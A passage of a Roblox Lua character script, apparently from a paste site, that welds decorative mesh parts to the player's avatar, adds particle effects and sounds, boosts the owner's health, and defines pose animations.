| 1069 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
| 1070 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1071 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
| 1072 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1073 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1074 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
| 1075 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1076 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1077 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
| 1078 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1079 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
| 1080 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1081 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1082 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
| 1083 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1084 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
| 1085 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1086 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1087 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
| 1088 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
| 1089 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
| 1090 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
| |
| 1091 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1092 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
| 1093 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1094 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
| 1095 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1096 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
| 1097 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
| 1098 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
| 1099 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
| |
| 1100 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
| 1101 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
| 1102 | ||
| 1103 | local modelzorzz3=Instance.new("Model")
| |
| 1104 | modelzorzz3.Parent=Character | |
| 1105 | modelzorzz3.Name="Eye" | |
| 1106 | ||
| 1107 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
| 1108 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
| 1109 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
| |
| 1110 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
| 1111 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
| 1112 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
| |
| 1113 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
| 1114 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
| 1115 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
| |
| 1116 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
| 1117 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
| 1118 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
| |
| 1119 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
| 1120 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
| 1121 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
| |
| 1122 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
| 1123 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
| 1124 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
| 1125 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
| 1126 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
| 1127 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
| 1128 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
| 1129 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
| 1130 | ||
| 1131 | p = owner | |
| 1132 | char = p.Character | |
| 1133 | torso = char.Torso | |
| 1134 | neck = char.Torso.Neck | |
| 1135 | hum = char.Humanoid | |
| 1136 | hum.MaxHealth = 1675000 | |
| 1137 | wait() | |
| 1138 | hum.Health =hum.MaxHealth | |
| 1139 | ||
| 1140 | local particleemitter = Instance.new("ParticleEmitter", Handle)
| |
| 1141 | particleemitter.VelocitySpread = 180 | |
| 1142 | particleemitter.Lifetime = NumberRange.new(0.1) | |
| 1143 | particleemitter.Speed = NumberRange.new(2) | |
| 1144 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
| |
| 1145 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
| 1146 | particleemitter.Rate = 100 | |
| 1147 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
| 1148 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
| |
| 1149 | particleemitter.LightEmission = 0.8 | |
| 1150 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
| 1151 | ||
| 1152 | local particleemitter = Instance.new("ParticleEmitter", Handle2)
| |
| 1153 | particleemitter.VelocitySpread = 180 | |
| 1154 | particleemitter.Lifetime = NumberRange.new(0.1) | |
| 1155 | particleemitter.Speed = NumberRange.new(2) | |
| 1156 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
| |
| 1157 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
| 1158 | particleemitter.Rate = 100 | |
| 1159 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
| 1160 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
| |
| 1161 | particleemitter.LightEmission = 0.8 | |
| 1162 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
| 1163 | ||
| 1164 | local particleemitter = Instance.new("ParticleEmitter", handle)
| |
| 1165 | particleemitter.VelocitySpread = 180 | |
| 1166 | particleemitter.Lifetime = NumberRange.new(0.1) | |
| 1167 | particleemitter.Speed = NumberRange.new(2) | |
| 1168 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
| |
| 1169 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
| 1170 | particleemitter.Rate = 100 | |
| 1171 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
| 1172 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
| |
| 1173 | particleemitter.LightEmission = 0.8 | |
| 1174 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
| 1175 | ||
| 1176 | particleemitter.Enabled = true | |
| 1177 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
| |
| 1178 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
| |
| 1179 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
| |
| 1180 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
| |
| 1181 | for i=0,1,0.005 do | |
| 1182 | swait() | |
| 1183 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
| 1184 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
| 1185 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
| 1186 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
| 1187 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
| 1188 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
| 1189 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
| 1190 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
| 1191 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
| 1192 | end | |
| 1193 | for i=0,1,0.04 do | |
| 1194 | swait() | |
| 1195 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
| 1196 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
| 1197 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
| 1198 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
| 1199 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
| 1200 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
| 1201 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
| 1202 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
| 1203 | end | |
| 1204 | attack = false | |
| 1205 | end | |
| 1206 | end | |
| 1207 | end | |
| 1208 | end) | |
| 1209 | ||
| 1210 | function Hai() | |
| 1211 | attack=true | |
| 1212 | Humanoid.WalkSpeed=0 | |
| 1213 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1214 | for i=0,1,0.1 do | |
| 1215 | swait() | |
| 1216 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1217 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1218 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1219 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1220 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
| 1221 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
| 1222 | end | |
| 1223 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8)
| |
| 1224 | for i=0,1,0.1 do | |
| 1225 | swait() | |
| 1226 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1227 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1228 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1229 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1230 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
| 1231 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
| 1232 | end | |
| 1233 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1234 | for i=0,1,0.1 do | |
| 1235 | swait() | |
| 1236 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1237 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1238 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1239 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1240 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
| 1241 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
| 1242 | ||
| 1243 | end | |
| 1244 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8)
| |
| 1245 | for i=0,1,0.1 do | |
| 1246 | swait() | |
| 1247 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1248 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1249 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1250 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1251 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
| 1252 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
| 1253 | end | |
| 1254 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1255 | for i=0,1,0.1 do | |
| 1256 | swait() | |
| 1257 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
| 1258 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1259 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1260 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1261 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
| 1262 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
| 1263 | end | |
| 1264 | --dmgstop() | |
| 1265 | Humanoid.WalkSpeed=12 | |
| 1266 | attack=false | |
| 1267 | end | |
| 1268 | ||
| 1269 | function Twerk() | |
| 1270 | attack=true | |
| 1271 | Humanoid.WalkSpeed=0 | |
| 1272 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1273 | for i=0,1,0.1 do | |
| 1274 | swait() | |
| 1275 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
| 1276 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1277 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1278 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1279 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
| 1280 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
| 1281 | end | |
| 1282 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8)
| |
| 1283 | for i=0,1,0.1 do | |
| 1284 | swait() | |
| 1285 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(120),math.rad(0),math.rad(0)),.3) | |
| 1286 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1287 | RH.C0=clerp(RH.C0,cf(1,-1,-.5)*angles(math.rad(120),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1288 | LH.C0=clerp(LH.C0,cf(-1,-1,-.5)*angles(math.rad(120),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1289 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.5) | |
| 1290 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
| 1291 | end | |
| 1292 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1293 | for i=0,1,0.1 do | |
| 1294 | swait() | |
| 1295 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
| 1296 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1297 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1298 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1299 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
| 1300 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
| 1301 | ||
| 1302 | end | |
| 1303 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8)
| |
| 1304 | for i=0,1,0.1 do | |
| 1305 | swait() | |
| 1306 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(120),math.rad(0),math.rad(0)),.3) | |
| 1307 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1308 | RH.C0=clerp(RH.C0,cf(1,-1,-.5)*angles(math.rad(120),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1309 | LH.C0=clerp(LH.C0,cf(-1,-1,-.5)*angles(math.rad(120),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
| 1310 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.5) | |
| 1311 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
| 1312 | end | |
| 1313 | so("http://www.roblox.com/asset/?id=0",Torso,1,1)
| |
| 1314 | for i=0,1,0.1 do | |
| 1315 | swait() | |
| 1316 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
| 1317 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
| 1318 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
